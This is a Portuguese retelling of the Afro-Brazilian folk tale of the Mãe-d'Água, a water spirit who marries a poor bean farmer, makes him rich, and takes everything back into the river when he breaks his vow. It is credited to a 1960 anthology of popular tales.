MÃE-D’ÁGUA – lenda da IARA – folclore brasileiro

As duas histórias seguintes têm suas variantes dentro da colheita feita pelos estudiosos do assunto. Bem pouco aproveitado tem sido o vasto ternário que apresentam as lendas e contos populares brasileiros, todos originários da mitologia rudimentar de nossos índios, e das superstições, crendices, tradições orais e sincretismo religioso aqui instalado com o elemento negro. MÃE-D’ÁGUA e XANGÔ são contos recolhidos entre os negros brasileiros.

MÃE-D’ÁGUA

ERA UM HOMEM muito pobre que tinha sua plantação de favas na beira do rio; porém, quando elas estavam boas para colher, não apanhava uma só, porque, da noite para o dia, desapareciam. Afinal, cansado de trabalhar para os outros comerem, tomou a resolução de espiar quem era que lhe furtava as favas.

Um dia, estava à espreita, quando viu uma moça, bonita como os amores, no meio do faval, abaixo e acima, colhendo as favas todas. Foi, bem sutil, bem devagarinho, e agarrou-a, dizendo:

— Ah! É você quem vem aqui apanhar minhas favas? Você agora vai é para minha casa, para se casar comigo.

Gritava a moça, forcejando por se libertar das unhas do homem:

— Me solte! me solte, que não apanho mais su favas, não!

Porém o homem não queria largá-la. Finalmente, disse a moça:

— Está bem. Eu me caso com você, mas nunca arrenegue da gente de debaixo d’água.

O homem disse que sim. Levou-a e casou-se com ela. Tudo .quanto possuía aumentou como por milagre, num instante. Fêz logo um sobrado muito bom, comprou escravos, teve muitas criações, muitas roças, muito dinheiro, enfim.

Depois de passado bastante tempo, a mulher foi ficando desmazelada, que uma coisa era ver e outra contar. Parecia de propósito. Não dava comida aos filhos, que viviam rotos e sujos. A casa estava sempre desarrumada, cheia de cisco. Os escravos, sem ter quem os mandasse trabalhar, não cuidavam do serviço e só viviam brigando uns com os outros. Ela, descalça, com o vestido esfarrapado, os cabelos alvoroçados, levava o dia todo dormindo.

Enquanto o pobre homem estava na rua, nos seus negócios, estava sossegado: mas, assim que punha o pé dentro de casa, era uma azucrinação em cima dele, que só lhe faltava endoidecer. Eram os meninos chorando com fome:

— Papai, eu quero comer… Papai, eu quero comer… Os escravos:

— Meu senhor, Fulano me fêz isto. Beltrano me fêz aquilo.

Um inferno! Vivia zonzo, de tal forma que pouco parava em casa. Um dia, muito aporrinhado da vida, disse, baixinho:

— Arrenego de gente de debaixo d’água.

Aí, a moça que só vivia esperando por aquilo mesmo para ir-se embora, porque ela era a "mãe-d’água" e andava doida por voltar para o seu rio, levantou-se mais que depressa e foi saindo pela porta a fora, cantando:

Zão, zão, zão, zão, Calunga,

Olha o munguelendô, Calunga,

Minha gente toda, Calunga,

Vamo-nos embora,

Calunga, Para a minha casa,

Calunga, De debaixo d’água,

Calunga,

Eu bem te dizia,

Calunga, Que não arrenegasses,

Calunga, De gente de debaixo d’água

Calunga.

O homem, espantado, gritou:

— Não vá lá, não, minha mulher!

Mas, qual! Atrás da moça foram saindo os filhos, os escravos e as criações: bois, cavalos, carneiros, porcos, patos, galinhas, perus, tudo, tudo. E o pobre homem, com as mãos na cabeça, gritando:

— Não vá lá, não, minha mulher!

Ela, continuando seu caminho, nem ao menos olhava para trás, cantando sempre:

Zão, zão, zão, zão. Calunga…

Depois da gente e dos bichos foram saindo pela porta a fora a mobília, as louças, as roupas, os baús, e tudo o que estava em cima dele, comprado com o dinheiro dela. O homem correu atrás, vestido já com sua roupa do tempo em que era pobre, gritando:

— Não vá lá, não, minha mulher!

Foi o mesmo que nada. Por fim, acompanharam-na a casa, telheiros, galinheiro, cercados, currais, plantações, árvores, e o mais. Chegando à beira do rio, a moça com todo o seu acompanhamento foram caindo na água e desaparecendo.

O homem foi viver pobremente, como antes, no seu faval. Também, nunca mais a "mãe-dagua" buliu na sua roça.

Fonte: Maravilhas do conto popular. Adaptação de Nair Lacerda. Cultrix, 1960.

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